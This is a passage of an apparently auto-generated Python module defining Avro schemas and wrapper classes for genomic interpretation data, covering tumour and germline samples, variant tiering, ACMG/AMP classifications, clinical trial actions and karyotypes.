"CD128_SORTED_CELLS", "ASPIRATE"]}], "doc": ""}, {"name": "tissueSource", "type": ["null", {"type":
"enum", "name": "TissueSource", "symbols": ["BMA_TUMOUR_SORTED_CELLS", "CT_GUIDED_BIOPSY",
"ENDOSCOPIC_BIOPSY", "ENDOSCOPIC_ULTRASOUND_GUIDED_BIOPSY", "ENDOSCOPIC_ULTRASOUND_GUIDED_FNA",
"LAPAROSCOPIC_BIOPSY", "LAPAROSCOPIC_EXCISION", "MRI_GUIDED_BIOPSY", "NON_GUIDED_BIOPSY",
"SURGICAL_RESECTION", "STEREOTACTICALLY_GUIDED_BIOPSY", "USS_GUIDED_BIOPSY", "NON_STANDARD_BIOPSY",
"NOT_SPECIFIED"]}], "doc": ""}, {"name": "product", "type": ["null", {"type": "enum", "name":
"Product", "symbols": ["DNA", "RNA"]}], "doc": ""}, {"name": "morphologyICD", "type": ["null",
"string"], "doc": ""}, {"name": "morphologySnomedCT", "type": ["null", "string"], "doc": ""},
{"name": "morphologySnomedRT", "type": ["null", "string"], "doc": ""}, {"name": "topographyICD",
"type": ["null", "string"], "doc": ""}, {"name": "topographySnomedCT", "type": ["null", "string"],
"doc": ""}, {"name": "topographySnomedRT", "type": ["null", "string"], "doc": ""}]}}, "doc": ""},
{"name": "germlineSamples", "type": {"type": "array", "items": {"type": "record", "name":
"GermlineSample", "doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name":
"labSampleId", "type": "int", "doc": ""}, {"name": "LDPCode", "type": "string", "doc": ""}, {"name":
"source", "type": ["null", "SampleSource"], "doc": ""}, {"name": "product", "type": ["null",
"Product"], "doc": ""}, {"name": "preparationMethod", "type": ["null", "PreparationMethod"], "doc":
""}, {"name": "programmePhase", "type": ["null", "ProgrammePhase"], "doc": ""}, {"name":
"clinicalSampleDateTime", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name":
"matchedSamples", "type": {"type": "array", "items": {"type": "record", "name": "MatchedSamples",
"doc": "", "fields": [{"name": "germlineSampleId", "type": ["null", "string"], "doc": ""}, {"name":
"tumourSampleId", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "versionControl",
"type": ["null", {"type": "record", "name": "VersionControl", "fields": [{"name":
"GitVersionControl", "type": "string", "doc": "", "default": "1.1.0"}]}], "doc": ""}]}], "doc": ""},
{"name": "otherFamilyHistory", "type": ["null", {"type": "record", "name": "OtherFamilyHistory",
"doc": "", "fields": [{"name": "maternalFamilyHistory", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "paternalFamilyHistory", "type": ["null", {"type": "array",
"items": "string"}], "doc": ""}]}], "doc": ""}, {"name": "genePanelsCoverage", "type": ["null",
{"type": "map", "values": {"type": "map", "values": {"type": "map", "values": "float"}}}], "doc":
""}, {"name": "interpretationFlags", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "InterpretationFlag", "doc": "", "fields": [{"name": "interpretationFlag", "type": {"type":
"enum", "name": "InterpretationFlags", "doc": "", "symbols": ["mixed_chemistries",
"mixedLab_preparation", "low_tumour_purity", "uniparental_isodisomy", "uniparental_heterodisomy",
"unusual_karyotype", "high_cnv_count", "high_estimate_human_contamination_fraction",
"mixed_recruiting_gmc", "suspected_mosaicism", "low_quality_sample", "ffpe_tumour_sample",
"ff_nano_tumour_sample", "missing_values_for_proband_in_reported_variant", "reissued",
"supplementary_report_errors", "internal_use_only", "high_priority", "other"]}, "doc": ""}, {"name":
"additionalDescription", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name":
"additionalInfo", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]}}, {"name":
"tieringResult", "type": ["null", {"type": "record", "name": "InterpretedGenome", "doc": "",
"fields": [{"name": "versionControl", "type": "ReportVersionControl", "doc": ""}, {"name":
"interpretationRequestId", "type": "string", "doc": ""}, {"name": "interpretationRequestVersion",
"type": "int", "doc": ""}, {"name": "interpretationService", "type": "string", "doc": ""}, {"name":
"reportUrl", "type": ["null", "string"], "doc": ""}, {"name": "variants", "type": ["null", {"type":
"array", "items": {"type": "record", "name": "SmallVariant", "doc": "", "fields": [{"name":
"variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates", "doc": "", "fields":
[{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type": "int", "doc":
""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type": "string",
"doc": ""}, {"name": "assembly", "type": "Assembly", "doc": ""}]}, "doc": ""}, {"name":
"variantCalls", "type": {"type": "array", "items": {"type": "record", "name": "VariantCall", "doc":
"", "fields": [{"name": "participantId", "type": "string", "doc": ""}, {"name": "sampleId", "type":
"string", "doc": ""}, {"name": "zygosity", "type": {"type": "enum", "name": "Zygosity", "doc": "",
"symbols": ["reference_homozygous", "heterozygous", "alternate_homozygous", "missing",
"half_missing_reference", "half_missing_alternate", "alternate_hemizigous", "reference_hemizigous",
"unk", "na"]}, "doc": ""}, {"name": "phaseGenotype", "type": ["null", {"type": "record", "name":
"PhaseGenotype", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}},
{"name": "phaseSet", "type": "int"}]}], "doc": ""}, {"name": "sampleVariantAlleleFrequency", "type":
["null", "double"], "doc": ""}, {"name": "depthReference", "type": ["null", "int"], "doc": ""},
{"name": "depthAlternate", "type": ["null", "int"], "doc": ""}, {"name": "numberOfCopies", "type":
["null", {"type": "array", "items": {"type": "record", "name": "NumberOfCopies", "fields": [{"name":
"numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type": ["null",
"int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]}}], "doc": ""}, {"name":
"alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name":
"AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant",
"paternal_variant", "pedigree_specific_variant", "population_specific_variant",
"somatic_variant"]}}], "doc": ""}, {"name": "supportingReadTypes", "type": ["null", {"type":
"array", "items": {"type": "enum", "name": "SupportingReadType", "symbols": ["spanning", "flanking",
"inrepeat"]}}]}]}}, "doc": ""}, {"name": "reportEvents", "type": {"type": "array", "items": {"type":
"record", "name": "ReportEvent", "doc": "", "fields": [{"name": "reportEventId", "type": "string",
"doc": ""}, {"name": "phenotypes", "type": {"type": "record", "name": "Phenotypes", "doc": "",
"fields": [{"name": "nonStandardPhenotype", "type": ["null", {"type": "array", "items": "string"}],
"doc": ""}, {"name": "standardPhenotypes", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "StandardPhenotype", "doc": "", "fields": [{"name": "id", "type": "string"},
{"name": "name", "type": ["null", "string"]}, {"name": "namespace", "type": ["null", "string"]},
{"name": "definition", "type": ["null", "string"]}, {"name": "comment", "type": ["null", "string"]},
{"name": "alternativeIds", "type": ["null", "string"]}, {"name": "synonyms", "type": ["null",
"string"]}, {"name": "isA", "type": ["null", "string"]}, {"name": "ontology", "type": {"type":
"record", "name": "Ontology", "doc": "", "fields": [{"name": "name", "type": "string"}, {"name":
"version", "type": "string"}]}, "doc": ""}, {"name": "matchScore", "type": ["null", "float"], "doc":
""}]}}], "doc": ""}]}, "doc": ""}, {"name": "variantConsequences", "type": {"type": "array",
"items": {"type": "record", "name": "VariantConsequence", "doc": "", "fields": [{"name": "id",
"type": "string", "doc": ""}, {"name": "name", "type": ["null", "string"], "doc": ""}]}}, "doc":
""}, {"name": "genePanel", "type": ["null", {"type": "record", "name": "GenePanel", "doc": "",
"fields": [{"name": "panelIdentifier", "type": ["null", "string"], "doc": ""}, {"name": "panelName",
"type": ["null", "string"], "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc":
""}, {"name": "source", "type": ["null", "string"], "doc": ""}]}], "doc": ""}, {"name":
"modeOfInheritance", "type": {"type": "enum", "name": "ModeOfInheritance", "doc": "", "symbols":
["monoallelic", "monoallelic_not_imprinted", "monoallelic_maternally_imprinted",
"monoallelic_paternally_imprinted", "biallelic", "monoallelic_and_biallelic",
"monoallelic_and_more_severe_biallelic", "xlinked_biallelic", "xlinked_monoallelic",
"mitochondrial", "unknown", "na"]}, "doc": ""}, {"name": "genomicEntities", "type": {"type":
"array", "items": {"type": "record", "name": "GenomicEntity", "doc": "", "fields": [{"name": "type",
"type": {"type": "enum", "name": "GenomicEntityType", "doc": "", "symbols": ["regulatory_region",
"gene", "transcript", "intergenic", "gene_fusion", "genomic_region", "cytobands"]}, "doc": ""},
{"name": "ensemblId", "type": ["null", "string"], "doc": ""}, {"name": "geneSymbol", "type":
["null", "string"], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "Identifier", "fields": [{"name": "source", "type": "string", "doc": ""},
{"name": "identifier", "type": "string", "doc": ""}]}}], "doc": ""}]}}, "doc": ""}, {"name":
"segregationPattern", "type": ["null", {"type": "enum", "name": "SegregationPattern", "symbols":
["UniparentalIsodisomy", "SimpleRecessive", "CompoundHeterozygous", "deNovo",
"InheritedAutosomalDominant", "InheritedAutosomalDominantMaternallyImprinted",
"InheritedAutosomalDominantPaternallyImprinted", "XLinkedCompoundHeterozygous",
"XLinkedSimpleRecessive", "XLinkedMonoallelic", "MitochondrialGenome"]}], "doc": ""}, {"name":
"penetrance", "type": ["null", {"type": "enum", "name": "Penetrance", "namespace":
"org.gel.models.participant.avro", "doc": "", "symbols": ["complete", "incomplete"]}], "doc": ""},
{"name": "deNovoQualityScore", "type": ["null", "float"], "doc": ""}, {"name":
"fullyExplainsPhenotype", "type": ["null", "boolean"], "doc": ""}, {"name": "groupOfVariants",
"type": ["null", "int"], "doc": ""}, {"name": "eventJustification", "type": ["null", "string"],
"doc": ""}, {"name": "roleInCancer", "type": ["null", {"type": "array", "items": {"type": "enum",
"name": "RoleInCancer", "doc": "", "symbols": ["oncogene", "tumor_suppressor_gene", "both"]}}],
"doc": ""}, {"name": "actions", "type": ["null", {"type": "record", "name": "Actions", "doc": "",
"fields": [{"name": "trials", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"Trial", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name": "studyIdentifier",
"type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"], "doc": ""}, {"name":
"estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name": "title", "type": ["null",
"string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum", "name": "StudyPhase",
"doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2", "phase2", "phase2_phase3",
"phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type": ["null", {"type": "array",
"items": {"type": "record", "name": "Intervention", "doc": "", "fields": [{"name":
"interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "", "symbols":
["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic",
"dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name":
"interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type":
["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment",
"prevention", "diagnostic", "supportive_care", "screening", "health_services_research",
"basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type":
["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional",
"observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name":
"demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name":
"DemographicElegibilityCriteria", "fields": [{"name": "sex", "type":
"org.gel.models.participant.avro.Sex"}, {"name": "ageRange", "type": ["null", {"type": "record",
"name": "AgeRange", "fields": [{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type":
"int"}, {"name": "timeunit", "type": {"type": "enum", "name": "TimeUnit", "symbols": ["years",
"months", "weeks", "days", "hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations",
"type": ["null", {"type": "array", "items": {"type": "record", "name": "TrialLocation", "fields":
[{"name": "name", "type": ["null", "string"]}, {"name": "city", "type": ["null", "string"]},
{"name": "country", "type": ["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}],
"doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis",
"type": ["null", {"type": "array", "items": {"type": "record", "name": "Prognosis", "fields":
[{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null",
{"type": "enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis",
"favourable_prognosis", "unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null",
"string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}, {"name":
"variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "therapies", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "Therapy", "fields": [{"name": "referenceUrl",
"type": "string", "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name":
"references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"drugResponse", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"DrugResponse", "fields": [{"name": "TreatmentAgent", "type": "string", "doc": ""}, {"name":
"drugResponseClassification", "type": {"type": "enum", "name": "DrugResponseClassification",
"symbols": ["altered_sensitivity", "reduced_sensitivity", "increased_sensitivity",
"altered_resistance", "increased_resistance", "reduced_resistance", "increased_risk_of_toxicity",
"reduced_risk_of_toxicity", "altered_toxicity", "adverse_drug_reaction", "indication",
"contraindication", "dosing_alteration", "increased_dose", "reduced_dose", "increased_monitoring",
"increased_efficacy", "reduced_efficacy", "altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name":
"otherInterventions", "type": ["null", {"type": "array", "items": "Intervention"}], "doc": ""},
{"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}]}], "doc": ""}, {"name": "score",
"type": ["null", "float"], "doc": ""}, {"name": "vendorSpecificScores", "type": ["null", {"type":
"map", "values": "float"}], "doc": ""}, {"name": "variantClassification", "type": ["null", {"type":
"record", "name": "VariantClassification", "doc": "", "fields": [{"name": "clinicalSignificance",
"type": ["null", {"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign",
"likely_benign", "likely_pathogenic", "pathogenic", "uncertain_significance"]}], "doc": ""},
{"name": "drugResponseClassification", "type": ["null", "DrugResponseClassification"], "doc": ""},
{"name": "traitAssociation", "type": ["null", {"type": "enum", "name": "TraitAssociation",
"symbols": ["established_risk_allele", "likely_risk_allele", "uncertain_risk_allele",
"protective"]}], "doc": ""}, {"name": "tumorigenesisClassification", "type": ["null", {"type":
"enum", "name": "TumorigenesisClassification", "symbols": ["driver", "passenger", "modifier"]}],
"doc": ""}, {"name": "functionalEffect", "type": ["null", {"type": "enum", "name":
"VariantFunctionalEffect", "symbols": ["dominant_negative_variant", "gain_of_function_variant",
"lethal_variant", "loss_of_function_variant", "loss_of_heterozygosity", "null_variant"]}], "doc":
""}]}], "doc": ""}, {"name": "guidelineBasedVariantClassification", "type": ["null", {"type":
"record", "name": "GuidelineBasedVariantClassification", "doc": "", "fields": [{"name":
"acmgVariantClassification", "type": ["null", {"type": "record", "name":
"AcmgVariantClassification", "doc": "", "fields": [{"name": "acmgEvidences", "type": {"type":
"array", "items": {"type": "record", "name": "AcmgEvidence", "doc": "", "fields": [{"name":
"category", "type": {"type": "enum", "name": "AcmgEvidenceCategory", "doc": "", "symbols":
["population_data", "computational_and_predictive_data", "functional_data", "segregation_data",
"de_novo_data", "allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type",
"type": {"type": "enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening",
"pathogenic"]}, "doc": ""}, {"name": "weight", "type": {"type": "enum", "name":
"AcmgEvidenceWeight", "doc": "", "symbols": ["stand_alone", "supporting", "moderate", "strong",
"very_strong"]}, "doc": ""}, {"name": "modifier", "type": "int", "doc": ""}, {"name": "description",
"type": ["null", "string"], "doc": ""}]}}}, {"name": "clinicalSignificance", "type":
"ClinicalSignificance"}, {"name": "assessment", "type": ["null", "string"]}]}]}, {"name":
"ampVariantClassification", "type": ["null", {"type": "record", "name": "AmpVariantClassification",
"doc": "", "fields": [{"name": "ampEvidences", "type": {"type": "array", "items": {"type": "record",
"name": "AmpEvidence", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name":
"AmpEvidenceType", "doc": "", "symbols": ["mutation_type", "therapies", "variant_frequencies",
"potential_germline", "population_database_presence", "germline_database_presence",
"somatic_database_presence", "impact_predictive_software", "pathway_involvement", "publications"]},
"doc": ""}, {"name": "evidenceAssessment", "type": "string", "doc": ""}]}}, "doc": ""}, {"name":
"ampTier", "type": {"type": "enum", "name": "AmpTier", "doc": "", "symbols": ["tierI", "tierII",
"tierIII", "tierIV"]}, "doc": ""}, {"name": "ampClincialOrExperimentalEvidence", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "AmpClincialOrExperimentalEvidence", "doc":
"", "fields": [{"name": "category", "type": {"type": "enum", "name":
"AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols": ["therapeutic", "diagnosis",
"prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum", "name":
"AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB", "levelC",
"levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}], "doc":
""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}], "doc": ""}, {"name":
"algorithmBasedVariantClassifications", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "AlgorithmBasedVariantClassification", "fields": [{"name": "algorithmName",
"type": "string", "doc": ""}, {"name": "classification", "type": "string", "doc": ""}, {"name":
"rank", "type": ["null", "int"], "doc": ""}, {"name": "score", "type": ["null", "int"], "doc":
""}]}}], "doc": ""}, {"name": "tier", "type": ["null", {"type": "enum", "name": "Tier", "doc": "",
"symbols": ["NONE", "TIER1", "TIER2", "TIER3", "TIER4", "TIER5", "TIERA", "TIERB"]}], "doc": ""},
{"name": "domain", "type": ["null", {"type": "enum", "name": "Domain", "symbols": ["DOMAIN1",
"DOMAIN2", "DOMAIN3", "DOMAIN4", "NONE"]}], "doc": ""}]}}, "doc": ""}, {"name": "variantAttributes",
"type": ["null", {"type": "record", "name": "VariantAttributes", "doc": "", "fields": [{"name":
"genomicChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"cdnaChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"proteinChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"additionalTextualVariantAnnotations", "type": ["null", {"type": "map", "values": "string"}], "doc":
""}, {"name": "references", "type": ["null", {"type": "map", "values": "string"}], "doc": ""},
{"name": "variantIdentifiers", "type": ["null", {"type": "record", "name": "VariantIdentifiers",
"fields": [{"name": "dbSnpId", "type": ["null", "string"], "doc": ""}, {"name": "cosmicIds", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "clinVarIds", "type": ["null",
{"type": "array", "items": "string"}], "doc": ""}, {"name": "otherIds", "type": ["null", {"type":
"array", "items": "Identifier"}]}]}]}, {"name": "alleleFrequencies", "type": ["null", {"type":
"array", "items": {"type": "record", "name": "AlleleFrequency", "doc": "", "fields": [{"name":
"study", "type": "string", "doc": ""}, {"name": "population", "type": "string", "doc": ""}, {"name":
"alternateFrequency", "type": "float", "doc": ""}]}}], "doc": ""}, {"name":
"additionalNumericVariantAnnotations", "type": ["null", {"type": "map", "values": "float"}], "doc":
""}, {"name": "comments", "type": ["null", {"type": "array", "items": "string"}], "doc": ""},
{"name": "alleleOrigins", "type": ["null", {"type": "array", "items": "AlleleOrigin"}], "doc": ""},
{"name": "ihp", "type": ["null", "int"], "doc": ""}, {"name": "recurrentlyReported", "type":
["null", "boolean"], "doc": ""}, {"name": "fdp50", "type": ["null", "float"], "doc": ""}, {"name":
"others", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]}]}]}}], "doc": ""},
{"name": "structuralVariants", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "StructuralVariant", "fields": [{"name": "variantType", "type": {"type": "enum", "name":
"StructuralVariantType", "symbols": ["ins", "dup", "inv", "amplification", "deletion", "dup_tandem",
"del_me", "ins_me"]}, "doc": ""}, {"name": "coordinates", "type": {"type": "record", "name":
"Coordinates", "fields": [{"name": "assembly", "type": "Assembly"}, {"name": "chromosome", "type":
"string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"}, {"name": "ciStart",
"type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields": [{"name": "left",
"type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null",
"ConfidenceInterval"]}]}}, {"name": "leftInsSeq", "type": ["null", "string"]}, {"name":
"rightInsSeq", "type": ["null", "string"]}, {"name": "reportEvents", "type": {"type": "array",
"items": "ReportEvent"}}, {"name": "variantCalls", "type": {"type": "array", "items":
"VariantCall"}, "doc": ""}, {"name": "variantAttributes", "type": ["null",
"VariantAttributes"]}]}}], "doc": ""}, {"name": "chromosomalRearrangements", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "ChromosomalRearrangement", "fields":
[{"name": "breakPoints", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"BreakPoint", "fields": [{"name": "coordinates", "type": "Coordinates"}, {"name": "reference",
"type": ["null", "string"]}, {"name": "alternate", "type": ["null", "string"]}, {"name": "info",
"type": ["null", {"type": "map", "values": "string"}]}]}}]}, {"name": "rearrangements", "type":
{"type": "array", "items": {"type": "record", "name": "Rearrangement", "fields": [{"name":
"leftCoordinates", "type": "Coordinates"}, {"name": "rightCoordinates", "type": "Coordinates"},
{"name": "orientation", "type": {"type": "enum", "name": "Orientation", "symbols": ["start_start",
"start_end", "end_end"]}}, {"name": "leftInsSeq", "type": ["null", "string"]}, {"name":
"rightInsSeq", "type": ["null", "string"]}]}}}, {"name": "reportEvents", "type": {"type": "array",
"items": "ReportEvent"}}, {"name": "variantCalls", "type": {"type": "array", "items":
"VariantCall"}, "doc": ""}, {"name": "variantAttributes", "type": ["null",
"VariantAttributes"]}]}}], "doc": ""}, {"name": "shortTandemRepeats", "type": ["null", {"type":
"array", "items": {"type": "record", "name": "ShortTandemRepeat", "fields": [{"name": "coordinates",
"type": "Coordinates"}, {"name": "reportEvents", "type": {"type": "array", "items": "ReportEvent"}},
{"name": "variantCalls", "type": {"type": "array", "items": "VariantCall"}, "doc": ""}, {"name":
"variantAttributes", "type": ["null", "VariantAttributes"]}, {"name":
"shortTandemRepeatReferenceData", "type": ["null", {"type": "record", "name":
"ShortTandemRepeatReferenceData", "fields": [{"name": "repeatedSequence", "type": "string"},
{"name": "pathogenic_number_of_repeats_threshold", "type": "int"}, {"name":
"normal_number_of_repeats_threshold", "type": "int"}]}]}]}}], "doc": ""}, {"name":
"uniparentalDisomies", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"UniparentalDisomy", "fields": [{"name": "assembly", "type": "Assembly", "doc": ""}, {"name":
"chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": ["null", "boolean"], "doc":
""}, {"name": "origin", "type": {"type": "enum", "name": "UniparentalDisomyOrigin", "symbols":
["paternal", "maternal", "unknown"]}, "doc": ""}, {"name": "uniparentalDisomyFragments", "type":
["null", {"type": "array", "items": {"type": "record", "name": "UniparentalDisomyFragment",
"fields": [{"name": "coordinates", "type": ["null", "Coordinates"], "doc": ""}, {"name":
"uniparentalDisomyType", "type": {"type": "enum", "name": "UniparentalDisomyType", "symbols":
["isodisomy", "heterodisomy", "both"]}, "doc": ""}]}}], "doc": ""}, {"name": "participantId",
"type": "string", "doc": ""}, {"name": "uniparentalDisomyEvidences", "type": ["null", {"type":
"record", "name": "UniparentalDisomyEvidences", "fields": [{"name": "ibds", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "IdentityByDescent", "fields": [{"name":
"relatedSample", "type": "string"}, {"name": "ibd0", "type": "float"}, {"name": "ibd1", "type":
"float"}, {"name": "ibd2", "type": "float"}, {"name": "pihat", "type": "float"}]}}]}]}], "doc":
""}]}}], "doc": ""}, {"name": "karyotypes", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "Karyotype", "fields": [{"name": "iscn", "type": ["null", "string"], "doc": ""},
{"name": "description", "type": ["null", "string"], "doc": ""}, {"name": "aneuploidies", "type":
["null", {"type": "array", "items": {"type": "record", "name": "Aneuploidy", "fields": [{"name":
"iscn", "type": ["null", "string"], "doc": ""}, {"name": "assembly", "type": "Assembly", "doc": ""},
{"name": "chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": "boolean", "doc":
""}, {"name": "coordinates", "type": ["null", "Coordinates"], "doc": ""}, {"name": "numberOfCopies",
"type": "int", "doc": ""}]}}], "doc": ""}, {"name": "numberOfChromosomes", "type": "int", "doc":
""}, {"name": "personKaryotipicSex", "type": {"type": "enum", "name": "PersonKaryotipicSex",
"namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["UNKNOWN", "XX", "XY", "XO",
"XXY", "XXX", "XXYY", "XXXY", "XXXX", "XYY", "OTHER"]}, "doc": ""}, {"name": "participantId",
"type": "string", "doc": ""}]}}], "doc": ""}, {"name": "referenceDatabasesVersions", "type":
{"type": "map", "values": "string"}, "doc": ""}, {"name": "softwareVersions", "type": {"type":
"map", "values": "string"}, "doc": ""}, {"name": "comments", "type": ["null", {"type": "array",
"items": "string"}], "doc": ""}]}]}, {"name": "otherInterpretationResults", "type": ["null",
{"type": "array", "items": "InterpretedGenome"}]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"interpretationMetaData",
"otherInterpretationResults",
"tieringResult",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'interpretationMetaData': CancerInterpretationRequest,
'otherInterpretationResults': InterpretedGenome,
'tieringResult': InterpretedGenome,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'interpretationMetaData': CancerInterpretationRequest,
'otherInterpretationResults': InterpretedGenome,
'tieringResult': InterpretedGenome,
}
return embeddedTypes[fieldName]
__slots__ = [
'interpretationMetaData', 'otherInterpretationResults',
'tieringResult'
]
def __init__(self, **kwargs):
self.interpretationMetaData = kwargs.get(
'interpretationMetaData', CancerInterpretationRequest())
self.otherInterpretationResults = kwargs.get(
'otherInterpretationResults', None)
self.tieringResult = kwargs.get(
'tieringResult', None)
class InterpretationDataRd(ProtocolElement):
"""
Represents the set of all interpretation data (excluding file
contents) to be stored in MDT for one TieringResult. Semantic
restrictions (not automatically verifiable): * All
InterpretedGenomes in interpretationResults refer to the
TieringResult tieringResult. * All InterpretedGenomes in
interpretationResults have passed the QC stage and have been
approved by the originating GMCs
"""
_schemaSource = """
{"type": "record", "name": "InterpretationDataRd", "namespace": "org.gel.models.report.avro", "doc":
"", "fields": [{"name": "interpretationMetaData", "type": {"type": "record", "name":
"InterpretationRequestRD", "doc": "", "fields": [{"name": "versionControl", "type": {"type":
"record", "name": "ReportVersionControl", "fields": [{"name": "gitVersionControl", "type": "string",
"doc": "", "default": "6.0.0"}]}, "doc": ""}, {"name": "interpretationRequestId", "type": "string",
"doc": ""}, {"name": "interpretationRequestVersion", "type": "int", "doc": ""}, {"name":
"internalStudyId", "type": "string", "doc": ""}, {"name": "familyInternalId", "type": ["null",
"string"], "doc": ""}, {"name": "genomeAssembly", "type": {"type": "enum", "name": "Assembly",
"doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}, {"name": "workspace", "type": {"type":
"array", "items": "string"}, "doc": ""}, {"name": "bams", "type": ["null", {"type": "array",
"items": {"type": "record", "name": "File", "doc": "", "fields": [{"name": "sampleId", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "uriFile", "type": "string",
"doc": ""}, {"name": "fileType", "type": {"type": "enum", "name": "FileType", "symbols": ["BAM",
"gVCF", "VCF_small", "VCF_somatic_small", "VCF_CNV", "VCF_somatic_CNV", "VCF_SV", "VCF_somatic_SV",
"VCF_SV_CNV", "SVG", "ANN", "BigWig", "MD5Sum", "ROH", "OTHER", "PARTITION", "VARIANT_FREQUENCIES",
"COVERAGE"]}, "doc": ""}, {"name": "md5Sum", "type": ["null", "string"], "doc": ""}]}}], "doc": ""},
{"name": "vcfs", "type": ["null", {"type": "array", "items": "File"}], "doc": ""}, {"name":
"bigWigs", "type": ["null", {"type": "array", "items": "File"}], "doc": ""}, {"name":
"pedigreeDiagram", "type": ["null", "File"], "doc": ""}, {"name": "annotationFile", "type": ["null",
"File"], "doc": ""}, {"name": "otherFiles", "type": ["null", {"type": "map", "values": "File"}],
"doc": ""}, {"name": "pedigree", "type": ["null", {"type": "record", "name": "Pedigree",
"namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "versionControl",
"type": ["null", {"type": "record", "name": "VersionControl", "fields": [{"name":
"GitVersionControl", "type": "string", "doc": "", "default": "1.1.0"}]}], "doc": ""}, {"name":
"LDPCode", "type": ["null", "string"], "doc": ""}, {"name": "familyId", "type": "string", "doc":
""}, {"name": "members", "type": {"type": "array", "items": {"type": "record", "name":
"PedigreeMember", "doc": "", "fields": [{"name": "pedigreeId", "type": ["null", "int"], "doc": ""},
{"name": "isProband", "type": ["null", "boolean"], "doc": ""}, {"name": "participantId", "type":
["null", "string"], "doc": ""}, {"name": "participantQCState", "type": ["null", {"type": "enum",
